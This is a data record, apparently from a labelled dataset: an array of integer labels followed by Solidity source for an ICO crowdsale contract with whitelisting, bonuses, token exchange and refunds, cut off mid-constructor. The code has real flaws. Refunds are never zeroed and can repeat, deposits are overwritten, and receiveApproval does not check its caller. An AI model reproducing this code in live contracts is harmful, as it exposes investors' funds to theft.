31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract UserRegistryInterface {
event AddAddress(address indexed who);
event AddIdentity(address indexed who);
function knownAddress(address _who) public constant returns(bool);
function hasIdentity(address _who) public constant returns(bool);
function systemAddresses(address _to, address _from) public constant returns(bool);
}
contract MultiOwners {
event AccessGrant(address indexed owner);
event AccessRevoke(address indexed owner);
mapping(address => bool) owners;
address public publisher;
function MultiOwners() public {
owners[msg.sender] = true;
publisher = msg.sender;
}
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function isOwner() public constant returns (bool) {
return owners[msg.sender] ? true : false;
}
function checkOwner(address maybe_owner) public constant returns (bool) {
return owners[maybe_owner] ? true : false;
}
function grant(address _owner) onlyOwner public {
owners[_owner] = true;
AccessGrant(_owner);
}
function revoke(address _owner) onlyOwner public {
require(_owner != publisher);
require(msg.sender != _owner);
owners[_owner] = false;
AccessRevoke(_owner);
}
}
contract TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;
}
contract TokenInterface is ERC20 {
string public name;
string public symbol;
uint public decimals;
}
contract MintableTokenInterface is TokenInterface {
address public owner;
function mint(address beneficiary, uint amount) public returns(bool);
function transferOwnership(address nextOwner) public;
}
/**
* Complex crowdsale with huge posibilities
* Core features:
* - Whitelisting
* - Min\max invest amounts
* - Only known users
* - Buy with allowed tokens
* - Oraclize based pairs (ETH to TOKEN)
* - Revert\refund
* - Personal bonuses
* - Amount bonuses
* - Total supply bonuses
* - Early birds bonuses
* - Extra distribution (team, foundation and also)
* - Soft and hard caps
* - Finalization logics
**/
contract Crowdsale is MultiOwners, TokenRecipient {
using SafeMath for uint;
// ██████╗ ██████╗ ███╗ ██╗███████╗████████╗███████╗
// ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔════╝
// ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ███████╗
// ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ╚════██║
// ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ███████║
// ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚══════╝
uint public constant VERSION = 0x1;
enum State {
Setup, // Non active yet (require to be setuped)
Active, // Crowdsale in a live
Claim, // Claim funds by owner
Refund, // Unsucceseful crowdsale (refund ether)
History // Close and store only historical fact of existence
}
struct PersonalBonusRecord {
uint bonus;
address refererAddress;
uint refererBonus;
}
struct WhitelistRecord {
bool allow;
uint min;
uint max;
}
// ██████╗ ██████╗ ███╗ ██╗███████╗██╗███╗ ██╗ ██████╗
// ██╔════╝██╔═══██╗████╗ ██║██╔════╝██║████╗ ██║██╔════╝
// ██║ ██║ ██║██╔██╗ ██║█████╗ ██║██╔██╗ ██║██║ ███╗
// ██║ ██║ ██║██║╚██╗██║██╔══╝ ██║██║╚██╗██║██║ ██║
// ╚██████╗╚██████╔╝██║ ╚████║██║ ██║██║ ╚████║╚██████╔╝
// ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝
bool public isWhitelisted; // Should be whitelisted to buy tokens
bool public isKnownOnly; // Should be known user to buy tokens
bool public isAmountBonus; // Enable amount bonuses in crowdsale?
bool public isEarlyBonus; // Enable early bird bonus in crowdsale?
bool public isTokenExchange; // Allow to buy tokens for another tokens?
bool public isAllowToIssue; // Allow to issue tokens with tx hash (ex bitcoin)
bool public isDisableEther; // Disable purchase with the Ether
bool public isExtraDistribution; // Should distribute extra tokens to special contract?
bool public isTransferShipment; // Will ship token via minting?
bool public isCappedInEther; // Should be capped in Ether
bool public isPersonalBonuses; // Should check personal beneficiary bonus?
bool public isAllowClaimBeforeFinalization;
// Should allow to claim funds before finalization?
bool public isMinimumValue; // Validate minimum amount to purchase
bool public isMinimumInEther; // Is minimum amount setuped in Ether or Tokens?
uint public minimumPurchaseValue; // How less buyer could to purchase
// List of allowed beneficiaries
mapping (address => WhitelistRecord) public whitelist;
// Known users registry (required to known rules)
UserRegistryInterface public userRegistry;
mapping (uint => uint) public amountBonuses; // Amount bonuses
uint[] public amountSlices; // Key is min amount of buy
uint public amountSlicesCount; // 10000 - 100.00% bonus over base pricetotaly free
// 5000 - 50.00% bonus
// 0 - no bonus at all
mapping (uint => uint) public timeBonuses; // Time bonuses
uint[] public timeSlices; // Same as amount but key is seconds after start
uint public timeSlicesCount;
mapping (address => PersonalBonusRecord) public personalBonuses;
// personal bonuses
MintableTokenInterface public token; // The token being sold
uint public tokenDecimals; // Token decimals
mapping (address => TokenInterface) public allowedTokens;
// allowed tokens list
mapping (address => uint) public tokensValues;
// TOKEN to ETH conversion rate (oraclized)
uint public startTime; // start and end timestamps where
uint public endTime; // investments are allowed (both inclusive)
address public wallet; // address where funds are collected
uint public price; // how many token (1 * 10 ** decimals) a buyer gets per wei
uint public hardCap;
uint public softCap;
address public extraTokensHolder; // address to mint/transfer extra tokens (0 – 0%, 1000 - 100.0%)
uint public extraDistributionPart; // % of extra distribution
// ███████╗████████╗ █████╗ ████████╗███████╗
// ██╔════╝╚══██╔══╝██╔══██╗╚══██╔══╝██╔════╝
// ███████╗ ██║ ███████║ ██║ █████╗
// ╚════██║ ██║ ██╔══██║ ██║ ██╔══╝
// ███████║ ██║ ██║ ██║ ██║ ███████╗
// ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝
// amount of raised money in wei
uint public weiRaised;
// Current crowdsale state
State public state;
// Temporal balances to pull tokens after token sale
// requires to ship required balance to smart contract
mapping (address => uint) public beneficiaryInvest;
uint public soldTokens;
mapping (address => uint) public weiDeposit;
mapping (address => mapping(address => uint)) public altDeposit;
modifier inState(State _target) {
require(state == _target);
_;
}
// ███████╗██╗ ██╗███████╗███╗ ██╗████████╗███████╗
// ██╔════╝██║ ██║██╔════╝████╗ ██║╚══██╔══╝██╔════╝
// █████╗ ██║ ██║█████╗ ██╔██╗ ██║ ██║ ███████╗
// ██╔══╝ ╚██╗ ██╔╝██╔══╝ ██║╚██╗██║ ██║ ╚════██║
// ███████╗ ╚████╔╝ ███████╗██║ ╚████║ ██║ ███████║
// ╚══════╝ ╚═══╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚══════╝
event EthBuy(
address indexed purchaser,
address indexed beneficiary,
uint value,
uint amount);
event HashBuy(
address indexed beneficiary,
uint value,
uint amount,
uint timestamp,
bytes32 indexed bitcoinHash);
event AltBuy(
address indexed beneficiary,
address indexed allowedToken,
uint allowedTokenValue,
uint ethValue,
uint shipAmount);
event ShipTokens(address indexed owner, uint amount);
event Sanetize();
event Finalize();
event Whitelisted(address indexed beneficiary, uint min, uint max);
event PersonalBonus(address indexed beneficiary, address indexed referer, uint bonus, uint refererBonus);
event FundsClaimed(address indexed owner, uint amount);
// ███████╗███████╗████████╗██╗ ██╗██████╗ ███╗ ███╗███████╗████████╗██╗ ██╗ ██████╗ ██████╗ ███████╗
// ██╔════╝██╔════╝╚══██╔══╝██║ ██║██╔══██╗ ████╗ ████║██╔════╝╚══██╔══╝██║ ██║██╔═══██╗██╔══██╗██╔════╝
// ███████╗█████╗ ██║ ██║ ██║██████╔╝ ██╔████╔██║█████╗ ██║ ███████║██║ ██║██║ ██║███████╗
// ╚════██║██╔══╝ ██║ ██║ ██║██╔═══╝ ██║╚██╔╝██║██╔══╝ ██║ ██╔══██║██║ ██║██║ ██║╚════██║
// ███████║███████╗ ██║ ╚██████╔╝██║ ██║ ╚═╝ ██║███████╗ ██║ ██║ ██║╚██████╔╝██████╔╝███████║
// ╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝
function setFlags(
// Should be whitelisted to buy tokens
bool _isWhitelisted,
// Should be known user to buy tokens
bool _isKnownOnly,
// Enable amount bonuses in crowdsale?
bool _isAmountBonus,
// Enable early bird bonus in crowdsale?
bool _isEarlyBonus,
// Allow to buy tokens for another tokens?
bool _isTokenExchange,
// Allow to issue tokens with tx hash (ex bitcoin)
bool _isAllowToIssue,
// Should reject purchases with Ether?
bool _isDisableEther,
// Should mint extra tokens for future distribution?
bool _isExtraDistribution,
// Will ship token via minting?
bool _isTransferShipment,
// Should be capped in ether
bool _isCappedInEther,
// Should beneficiaries pull their tokens?
bool _isPersonalBonuses,
// Should allow to claim funds before finalization?
bool _isAllowClaimBeforeFinalization)
inState(State.Setup) onlyOwner public
{
isWhitelisted = _isWhitelisted;
isKnownOnly = _isKnownOnly;
isAmountBonus = _isAmountBonus;
isEarlyBonus = _isEarlyBonus;
isTokenExchange = _isTokenExchange;
isAllowToIssue = _isAllowToIssue;
isDisableEther = _isDisableEther;
isExtraDistribution = _isExtraDistribution;
isTransferShipment = _isTransferShipment;
isCappedInEther = _isCappedInEther;
isPersonalBonuses = _isPersonalBonuses;
isAllowClaimBeforeFinalization = _isAllowClaimBeforeFinalization;
}
// ! Could be changed in process of sale (since 02.2018)
function setMinimum(uint _amount, bool _inToken)
onlyOwner public
{
if (_amount == 0) {
isMinimumValue = false;
minimumPurchaseValue = 0;
} else {
isMinimumValue = true;
isMinimumInEther = !_inToken;
minimumPurchaseValue = _amount;
}
}
function setPrice(uint _price)
inState(State.Setup) onlyOwner public
{
require(_price > 0);
// SetPrice(msg.sender, price, _price);
price = _price;
}
function setSoftHardCaps(uint _softCap, uint _hardCap)
inState(State.Setup) onlyOwner public
{
// SetSoftCap(msg.sender, softCap, _softCap);
// SetHardCap(msg.sender, hardCap, _hardCap);
hardCap = _hardCap;
softCap = _softCap;
}
function setTime(uint _start, uint _end)
inState(State.Setup) onlyOwner public
{
require(_start < _end);
require(_end > block.timestamp);
// SetStartTime(msg.sender, startTime, _start);
// SetEndTime(msg.sender, endTime, _end);
startTime = _start;
endTime = _end;
}
function setToken(address _tokenAddress)
inState(State.Setup) onlyOwner public
{
token = MintableTokenInterface(_tokenAddress);
tokenDecimals = token.decimals();
}
function setWallet(address _wallet)
inState(State.Setup) onlyOwner public
{
require(_wallet != address(0));
// SetWallet(msg.sender, wallet, _wallet);
wallet = _wallet;
}
function setRegistry(address _registry)
inState(State.Setup) onlyOwner public
{
require(_registry != address(0));
// SetRegistry(msg.sender, userRegistry, _registry);
userRegistry = UserRegistryInterface(_registry);
}
function setExtraDistribution(address _holder, uint _extraPart)
inState(State.Setup) onlyOwner public
{
require(_holder != address(0));
// SetExtraTokensHolder(msg.sender, extraTokensHolder, _holder);
// SetExtraTokensPart(msg.sender, extraDistributionPart, _extraPart);
extraTokensHolder = _holder;
extraDistributionPart = _extraPart;
}
function setAmountBonuses(uint[] _amountSlices, uint[] _bonuses)
inState(State.Setup) onlyOwner public
{
require(_amountSlices.length > 1);
require(_bonuses.length == _amountSlices.length);
uint lastSlice = 0;
for (uint index = 0; index < _amountSlices.length; index++) {
require(_amountSlices[index] > lastSlice);
lastSlice = _amountSlices[index];
amountSlices.push(lastSlice);
amountBonuses[lastSlice] = _bonuses[index];
// AddAmountSlice(msg.sender, _amountSlices[index], _bonuses[index]);
}
amountSlicesCount = amountSlices.length;
}
function setTimeBonuses(uint[] _timeSlices, uint[] _bonuses)
// ! Not need to check state since changes at 02.2018
// inState(State.Setup)
onlyOwner
public
{
// Only once in life time
// ! Time bonuses is changable after 02.2018
// require(timeSlicesCount == 0);
require(_timeSlices.length > 0);
require(_bonuses.length == _timeSlices.length);
uint lastSlice = 0;
uint lastBonus = 10000;
if (timeSlicesCount > 0) {
// ! Since time bonuses is changable we should take latest first
lastSlice = timeSlices[timeSlicesCount - 1];
lastBonus = timeBonuses[lastSlice];
}
for (uint index = 0; index < _timeSlices.length; index++) {
require(_timeSlices[index] > lastSlice);
// ! Add check for next bonus is equal or less than previous
require(_bonuses[index] <= lastBonus);
// ? Should we check bonus in a future
lastSlice = _timeSlices[index];
timeSlices.push(lastSlice);
timeBonuses[lastSlice] = _bonuses[index];
}
timeSlicesCount = timeSlices.length;
}
function setTokenExcange(address _token, uint _value)
inState(State.Setup) onlyOwner public
{
allowedTokens[_token] = TokenInterface(_token);
updateTokenValue(_token, _value);
}
function saneIt()
inState(State.Setup) onlyOwner public
{
require(startTime < endTime);
require(endTime > now);
require(price > 0);
require(wallet != address(0));
require(token != address(0));
if (isKnownOnly) {
require(userRegistry != address(0));
}
if (isAmountBonus) {
require(amountSlicesCount > 0);
}
// ! not needed anymore (since 02.2018 time bonuses isn't constant)
// if (isEarlyBonus) {
// require(timeSlicesCount > 0);
// }
if (isExtraDistribution) {
require(extraTokensHolder != address(0));
}
if (isTransferShipment) {
require(token.balanceOf(address(this)) >= hardCap);
} else {
require(token.owner() == address(this));
}
state = State.Active;
}
function finalizeIt(address _futureOwner) inState(State.Active) onlyOwner public {
require(ended());
token.transferOwnership(_futureOwner);
if (success()) {
state = State.Claim;
} else {
state = State.Refund;
}
}
function historyIt() inState(State.Claim) onlyOwner public {
require(address(this).balance == 0);
state = State.History;
}
// ███████╗██╗ ██╗███████╗ ██████╗██╗ ██╗████████╗███████╗
// ██╔════╝╚██╗██╔╝██╔════╝██╔════╝██║ ██║╚══██╔══╝██╔════╝
// █████╗ ╚███╔╝ █████╗ ██║ ██║ ██║ ██║ █████╗
// ██╔══╝ ██╔██╗ ██╔══╝ ██║ ██║ ██║ ██║ ██╔══╝
// ███████╗██╔╝ ██╗███████╗╚██████╗╚██████╔╝ ██║ ███████╗
// ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝
function calculateEthAmount(
address _beneficiary,
uint _weiAmount,
uint _time,
uint _totalSupply
) public constant returns(
uint calculatedTotal,
uint calculatedBeneficiary,
uint calculatedExtra,
uint calculatedreferer,
address refererAddress)
{
_totalSupply;
uint bonus = 0;
if (isAmountBonus) {
bonus = bonus.add(calculateAmountBonus(_weiAmount));
}
if (isEarlyBonus) {
bonus = bonus.add(calculateTimeBonus(_time.sub(startTime)));
}
if (isPersonalBonuses && personalBonuses[_beneficiary].bonus > 0) {
bonus = bonus.add(personalBonuses[_beneficiary].bonus);
}
calculatedBeneficiary = _weiAmount.mul(10 ** tokenDecimals).div(price);
if (bonus > 0) {
calculatedBeneficiary = calculatedBeneficiary.add(calculatedBeneficiary.mul(bonus).div(10000));
}
if (isExtraDistribution) {
calculatedExtra = calculatedBeneficiary.mul(extraDistributionPart).div(10000);
}
if (isPersonalBonuses &&
personalBonuses[_beneficiary].refererAddress != address(0) &&
personalBonuses[_beneficiary].refererBonus > 0)
{
calculatedreferer = calculatedBeneficiary.mul(personalBonuses[_beneficiary].refererBonus).div(10000);
refererAddress = personalBonuses[_beneficiary].refererAddress;
}
calculatedTotal = calculatedBeneficiary.add(calculatedExtra).add(calculatedreferer);
}
function calculateAmountBonus(uint _changeAmount) public constant returns(uint) {
uint bonus = 0;
for (uint index = 0; index < amountSlices.length; index++) {
if(amountSlices[index] > _changeAmount) {
break;
}
bonus = amountBonuses[amountSlices[index]];
}
return bonus;
}
function calculateTimeBonus(uint _at) public constant returns(uint) {
uint bonus = 0;
for (uint index = timeSlices.length; index > 0; index--) {
if(timeSlices[index - 1] < _at) {
break;
}
bonus = timeBonuses[timeSlices[index - 1]];
}
return bonus;
}
function validPurchase(
address _beneficiary,
uint _weiAmount,
uint _tokenAmount,
uint _extraAmount,
uint _totalAmount,
uint _time)
public constant returns(bool)
{
_tokenAmount;
_extraAmount;
// ! Check min purchase value (since 02.2018)
if (isMinimumValue) {
// ! Check min purchase value in ether (since 02.2018)
if (isMinimumInEther && _weiAmount < minimumPurchaseValue) {
return false;
}
// ! Check min purchase value in tokens (since 02.2018)
if (!isMinimumInEther && _tokenAmount < minimumPurchaseValue) {
return false;
}
}
if (_time < startTime || _time > endTime) {
return false;
}
if (isKnownOnly && !userRegistry.knownAddress(_beneficiary)) {
return false;
}
uint finalBeneficiaryInvest = beneficiaryInvest[_beneficiary].add(_weiAmount);
uint finalTotalSupply = soldTokens.add(_totalAmount);
if (isWhitelisted) {
WhitelistRecord storage record = whitelist[_beneficiary];
if (!record.allow ||
record.min > finalBeneficiaryInvest ||
record.max < finalBeneficiaryInvest) {
return false;
}
}
if (isCappedInEther) {
if (weiRaised.add(_weiAmount) > hardCap) {
return false;
}
} else {
if (finalTotalSupply > hardCap) {
return false;
}
}
return true;
}
function updateTokenValue(address _token, uint _value) onlyOwner public {
require(address(allowedTokens[_token]) != address(0x0));
tokensValues[_token] = _value;
}
// ██████╗ ███████╗ █████╗ ██████╗
// ██╔══██╗██╔════╝██╔══██╗██╔══██╗
// ██████╔╝█████╗ ███████║██║ ██║
// ██╔══██╗██╔══╝ ██╔══██║██║ ██║
// ██║ ██║███████╗██║ ██║██████╔╝
// ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝
function success() public constant returns(bool) {
if (isCappedInEther) {
return weiRaised >= softCap;
} else {
return token.totalSupply() >= softCap;
}
}
function capped() public constant returns(bool) {
if (isCappedInEther) {
return weiRaised >= hardCap;
} else {
return token.totalSupply() >= hardCap;
}
}
function ended() public constant returns(bool) {
return capped() || block.timestamp >= endTime;
}
// ██████╗ ██╗ ██╗████████╗███████╗██╗██████╗ ███████╗
// ██╔═══██╗██║ ██║╚══██╔══╝██╔════╝██║██╔══██╗██╔════╝
// ██║ ██║██║ ██║ ██║ ███████╗██║██║ ██║█████╗
// ██║ ██║██║ ██║ ██║ ╚════██║██║██║ ██║██╔══╝
// ╚██████╔╝╚██████╔╝ ██║ ███████║██║██████╔╝███████╗
// ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝╚═════╝ ╚══════╝
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) inState(State.Active) public payable {
require(!isDisableEther);
uint shipAmount = sellTokens(_beneficiary, msg.value, block.timestamp);
require(shipAmount > 0);
forwardEther();
}
function buyWithHash(address _beneficiary, uint _value, uint _timestamp, bytes32 _hash)
inState(State.Active) onlyOwner public
{
require(isAllowToIssue);
uint shipAmount = sellTokens(_beneficiary, _value, _timestamp);
require(shipAmount > 0);
HashBuy(_beneficiary, _value, shipAmount, _timestamp, _hash);
}
function receiveApproval(address _from,
uint256 _value,
address _token,
bytes _extraData) public
{
if (_token == address(token)) {
TokenInterface(_token).transferFrom(_from, address(this), _value);
return;
}
require(isTokenExchange);
// Debug(msg.sender, appendUintToString("Should be equal: ", toUint(_extraData)));
// Debug(msg.sender, appendUintToString("and: ", tokensValues[_token]));
require(toUint(_extraData) == tokensValues[_token]);
require(tokensValues[_token] > 0);
require(forwardTokens(_from, _token, _value));
uint weiValue = _value.mul(tokensValues[_token]).div(10 ** allowedTokens[_token].decimals());
require(weiValue > 0);
Debug(msg.sender, appendUintToString("Token to wei: ", weiValue));
uint shipAmount = sellTokens(_from, weiValue, block.timestamp);
require(shipAmount > 0);
AltBuy(_from, _token, _value, weiValue, shipAmount);
}
function claimFunds() onlyOwner public returns(bool) {
require(state == State.Claim || (isAllowClaimBeforeFinalization && success()));
wallet.transfer(address(this).balance);
return true;
}
function claimTokenFunds(address _token) onlyOwner public returns(bool) {
require(state == State.Claim || (isAllowClaimBeforeFinalization && success()));
uint balance = allowedTokens[_token].balanceOf(address(this));
require(balance > 0);
require(allowedTokens[_token].transfer(wallet, balance));
return true;
}
function claimRefundEther(address _beneficiary) inState(State.Refund) public returns(bool) {
require(weiDeposit[_beneficiary] > 0);
_beneficiary.transfer(weiDeposit[_beneficiary]);
return true;
}
function claimRefundTokens(address _beneficiary, address _token) inState(State.Refund) public returns(bool) {
require(altDeposit[_token][_beneficiary] > 0);
require(allowedTokens[_token].transfer(_beneficiary, altDeposit[_token][_beneficiary]));
return true;
}
function addToWhitelist(address _beneficiary, uint _min, uint _max) onlyOwner public
{
require(_beneficiary != address(0));
require(_min <= _max);
if (_max == 0) {
_max = 10 ** 40; // should be huge enough? :0
}
whitelist[_beneficiary] = WhitelistRecord(true, _min, _max);
Whitelisted(_beneficiary, _min, _max);
}
function setPersonalBonus(
address _beneficiary,
uint _bonus,
address _refererAddress,
uint _refererBonus) onlyOwner public {
personalBonuses[_beneficiary] = PersonalBonusRecord(
_bonus,
_refererAddress,
_refererBonus
);
PersonalBonus(_beneficiary, _refererAddress, _bonus, _refererBonus);
}
// ██╗███╗ ██╗████████╗███████╗██████╗ ███╗ ██╗ █████╗ ██╗ ███████╗
// ██║████╗ ██║╚══██╔══╝██╔════╝██╔══██╗████╗ ██║██╔══██╗██║ ██╔════╝
// ██║██╔██╗ ██║ ██║ █████╗ ██████╔╝██╔██╗ ██║███████║██║ ███████╗
// ██║██║╚██╗██║ ██║ ██╔══╝ ██╔══██╗██║╚██╗██║██╔══██║██║ ╚════██║
// ██║██║ ╚████║ ██║ ███████╗██║ ██║██║ ╚████║██║ ██║███████╗███████║
// ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚══════╝
// low level token purchase function
function sellTokens(address _beneficiary, uint _weiAmount, uint timestamp)
inState(State.Active) internal returns(uint)
{
uint beneficiaryTokens;
uint extraTokens;
uint totalTokens;
uint refererTokens;
address refererAddress;
(totalTokens, beneficiaryTokens, extraTokens, refererTokens, refererAddress) = calculateEthAmount(
_beneficiary,
_weiAmount,
timestamp,
token.totalSupply());
require(validPurchase(_beneficiary, // Check if current purchase is valid
_weiAmount,
beneficiaryTokens,
extraTokens,
totalTokens,
timestamp));
weiRaised = weiRaised.add(_weiAmount); // update state (wei amount)
beneficiaryInvest[_beneficiary] = beneficiaryInvest[_beneficiary].add(_weiAmount);
shipTokens(_beneficiary, beneficiaryTokens); // ship tokens to beneficiary
// soldTokens = soldTokens.add(beneficiaryTokens);
EthBuy(msg.sender, // Fire purchase event
_beneficiary,
_weiAmount,
beneficiaryTokens);
ShipTokens(_beneficiary, beneficiaryTokens);
if (isExtraDistribution) { // calculate and
//! Ship to crowdsale itself to transfer it against minting
shipTokens(address(this), extraTokens);
token.transfer(extraTokensHolder, extraTokens);
// soldTokens = soldTokens.add(extraTokens);
ShipTokens(extraTokensHolder, extraTokens);
}
if (isPersonalBonuses) {
PersonalBonusRecord storage record = personalBonuses[_beneficiary];
if (record.refererAddress != address(0) && record.refererBonus > 0) {
shipTokens(record.refererAddress, refererTokens);
// soldTokens = soldTokens.add(_amount);
ShipTokens(record.refererAddress, refererTokens);
}
}
soldTokens = soldTokens.add(totalTokens);
return beneficiaryTokens;
}
function shipTokens(address _beneficiary, uint _amount)
inState(State.Active) internal
{
if (isTransferShipment) {
token.transfer(_beneficiary, _amount);
} else {
token.mint(_beneficiary, _amount);
}
}
function forwardEther() internal returns (bool) {
weiDeposit[msg.sender] = msg.value;
return true;
}
function forwardTokens(address _beneficiary, address _tokenAddress, uint _amount) internal returns (bool) {
TokenInterface allowedToken = allowedTokens[_tokenAddress];
allowedToken.transferFrom(_beneficiary, address(this), _amount);
altDeposit[_tokenAddress][_beneficiary] = _amount;
return true;
}
// ██╗ ██╗████████╗██╗██╗ ███████╗
// ██║ ██║╚══██╔══╝██║██║ ██╔════╝
// ██║ ██║ ██║ ██║██║ ███████╗
// ██║ ██║ ██║ ██║██║ ╚════██║
// ╚██████╔╝ ██║ ██║███████╗███████║
// ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝
function toUint(bytes left) public pure returns (uint) {
uint out;
for (uint i = 0; i < 32; i++) {
out |= uint(left[i]) << (31 * 8 - i * 8);
}
return out;
}
// ██████╗ ███████╗██████╗ ██╗ ██╗ ██████╗
// ██╔══██╗██╔════╝██╔══██╗██║ ██║██╔════╝
// ██║ ██║█████╗ ██████╔╝██║ ██║██║ ███╗
// ██║ ██║██╔══╝ ██╔══██╗██║ ██║██║ ██║
// ██████╔╝███████╗██████╔╝╚██████╔╝╚██████╔╝
// ╚═════╝ ╚══════╝╚═════╝ ╚═════╝ ╚═════╝
event Debug(address indexed sender, string message);
function uintToString(uint v) public pure returns (string str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory s = new bytes(i);
for (uint j = 0; j < i; j++) {
s[j] = reversed[i - 1 - j];
}
str = string(s);
}
function addressToString(address x) public pure returns (string) {
bytes memory s = new bytes(40);
for (uint i = 0; i < 20; i++) {
byte b = byte(uint8(uint(x) / (2**(8*(19 - i)))));
byte hi = byte(uint8(b) / 16);
byte lo = byte(uint8(b) - 16 * uint8(hi));
s[2*i] = char(hi);
s[2*i+1] = char(lo);
}
return string(s);
}
function char(byte b) public pure returns (byte c) {
if (b < 10) return byte(uint8(b) + 0x30);
else return byte(uint8(b) + 0x57);
}
function appendUintToString(string inStr, uint v) public pure returns (string str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory inStrb = bytes(inStr);
bytes memory s = new bytes(inStrb.length + i);
uint j;
for (j = 0; j < inStrb.length; j++) {
s[j] = inStrb[j];
}
for (j = 0; j < i; j++) {
s[j + inStrb.length] = reversed[i - 1 - j];
}
str = string(s);
}
}
contract BaseSqmCrowdsale is Crowdsale {
function BaseSqmCrowdsale(
address _registry,
address _token,
address _wallet,
address _altToken,
uint _price,
uint _start,
uint _end,
uint _softCap,
uint _hardCap
) public {
setFlags(
// Should be whitelisted to buy tokens
// _isWhitelisted,
false,
// Should be known user to buy tokens
// _isKnownOnly,
true,
// Enable amount bonuses in crowdsale?
// _isAmountBonus,
false,
// Enable early bird bonus in crowdsale?
// _isEarlyBonus,
false,
// Allow to buy tokens for another tokens?
// _isTokenExcange,
true,
// Allow to issue tokens with tx hash (ex bitcoin)
// _isAllowToIssue,
false,
// Should reject purchases with Ether?
// _isDisableEther,
true,
// Should mint extra tokens for future distribution?
// _isExtraDistribution,
false,
// Will ship token via minting?
// _isTransferShipment,
true,
// Should be capped in ether
// bool _isCappedInEther,
false,
// Should check personal bonuses?
// _isPersonalBonuses
false,
// Should allow to claimFunds before finalizations?
false
);
setToken(_token);
setTime(_start, _end);
setRegistry(_registry);
setWallet(_wallet);
setSoftHardCaps(
_softCap, // soft
_hardCap // hard
);
setPrice(_price);
setTokenExcange(_altToken, 6 finney);
}
}
contract SQM1Crowdsale is BaseSqmCrowdsale {
function SQM1Crowdsale(
address _registry,
address _token,
address _wallet,
address _altToken
)
BaseSqmCrowdsale(
_registry,
_token,
_wallet,
_altToken,
// price 1 ETH -> 1 SQM
450 ether,
// from now
